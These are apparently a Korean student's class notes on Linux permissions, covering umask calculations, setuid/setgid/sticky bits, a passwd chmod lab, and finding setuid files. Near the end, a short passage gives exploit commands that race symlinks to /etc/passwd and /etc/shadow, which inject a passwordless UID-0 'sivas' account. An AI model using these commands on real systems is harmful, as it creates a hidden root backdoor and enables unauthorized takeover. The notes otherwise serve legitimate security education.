umask는 심볼릭으로 빠진다
관리자는 맥스에서 777 - 022 해야함
사용자는 맥스에서 777 - 002 해야함
심볼릭으로?
파일은 맥스 777
디렉토리는 666?
S -> x권한 존재
s -> x권한 미존재
r 4000 setuid ->관리자실행권하뇨
w 2000 setgid
x1000 stickybit
보안적인 문제를 위해 기본적으로 x권한 많이 뺀다
=====================================
UMASK
file / dir 의 기본 권한을 결정하는 기준값
MAX권한 - UMASK = 기본권한 (symblic으로 빠짐)
확인: umask , umask -S (심볼릭 기본권한 )
설정 : umask 숫자 (거의안씀)
관리자: 022 root d 777 - 022 = 755
f 666 - 022 = 644
사용자: 002 sevas d 777 - 002 = 775
f 666 - 002 = 664
홈디렉토리: login.defs에서 umask 077 = 700
ex)
umask 333 일경우
777 - 333 = 444
666 - 333 = 444
디렉토리 r w x r w x r w x
umask - w x - w x - w x (-)
===============================
r - - r - - r - -
파일 r w - r w - r w -
umask - w x - w x - w x (-)
=================================
r - - r - - r - -
왜 022 002일까 ?
관리자 : UID GID OTHER 755 root wheel(관리자그룹) user 022
사용자 : UID GID OTHER 775 USER GROUP OTHER 002
==========================================================
MAX권한에서 umask 444로 설정했습니다
파일생성시 권한
rw- rw- rw-
(-) r-- r-- r--
=======================
-w- -w- -w-
222
디렉토리 생성시 권한은?
rwx rwx rwx
r-- r-- r--
==========================
-wx -wx -wx
333
============================================================
MAX권한에서 umask를 033으로 설정했습니다
파일생성시 권한은
644
rw- rw- rw-
- --- -wx -wx
=================
rw- r-- r--
디렉토리 생성시 권한은
744
rwx rwx rwx
- --- -wx -wx
====================
rwx r-- r--
=====================================
MAX권한에서 umask를 055으로 설정했습니다
파일권한은? 622
디렉토리권한? 722
======================================================
특수권한 (special permission )
mkdir /set
cd /set
touch 1 2 3 4 5 6
==SetUID== +4000
-rwsrwxrwx 4777 1 소문자 x권한 존재
-rwSrwxrwx 4677 2 대문자 x권한 미존재
==SetGID== +2000
-rwxrwsrwx 2777 3 소문자 x권한 존재
-rwxrwSrwx 2767 4 대문자 x권한 미존재
==Stickybit== +1000
-rwxrwxrwt 1777 5 소문자 x권한 존재
-rwxrwxrwT 1776 6 대문자 x권한 미존재
r 4000 setuid
w 2000 setgid
x 1000 stickybit
setuid 4000 S/s 표현 [ 실행파일설정 ]
파일실행시 UID 소유권자가 대신 실행
실습
mkdir /backup
**passwd 명령어 찾기**
find / -name passwd
ls -l /usr/bin/passwd
-rwsr-xr-x. 1 root root 27856 4월 1 2020 /usr/bin/passwd
cp -a /usr/bin/passwd /backup
**비번 변경실행**
chmod 4776 /usr/bin/passwd (실행X)
chmod 4001 /usr/bin/passwd ( 실행O) 비번: korea*12ya~ 설정후 다시 root에서 비번 1로 변경
chmod 777 /usr/bin/passwd ( 실행 O 비번변경 업데이트 X)
chmod 4755 /usr/bin/passwd (root가 실행: 비번변경 O)
[ 검색 ] setuid 검색방법
과거) find / -perm +4000
현재) find / -perm -u=s , find / -perm -4000
find / -perm -u=s -exec ls -l {} \;
find / -perm -u=s -exec ls -l {} \; 2> /dev/null
** setuid는 gid 또는 other 실행시 UID를 호출해서 실행하게 됨 **
========================================================
setgid -> 그룹을 "고정"시키기 위해 사용
=====================
acl 계정마다 권한다르게 부여 -> 특수권한 예외만들때만 사용
===============
su 로그아웃하지않고 바꿈
===================
백도어가있으면 관리자 권한을 획득하기 때문에 위험하다
===========
섹터는 512byte*******
==========
/etc/passwd 와 /etc/shadow 를 바꿔서 관리자 계정을 만들어 낼수 있음
[1st] /etc/passwd 계정정보생성
./race /tmp/sevas "sivas:x:0:0:hack:/root:/bin/bash" &
rm /tmp/sevas
ln -s /etc/passwd /tmp/sevas
fg
[2st] shadow 파일생성
./race /tmp/sevas "sivas::19524:0:99999:7:::"&
rm /tmp/sevas
ln -s /etc/shadow /tmp/sevas
fg
============================
소형은 스카시
사스 -> 섭버계의 고속 하드디스크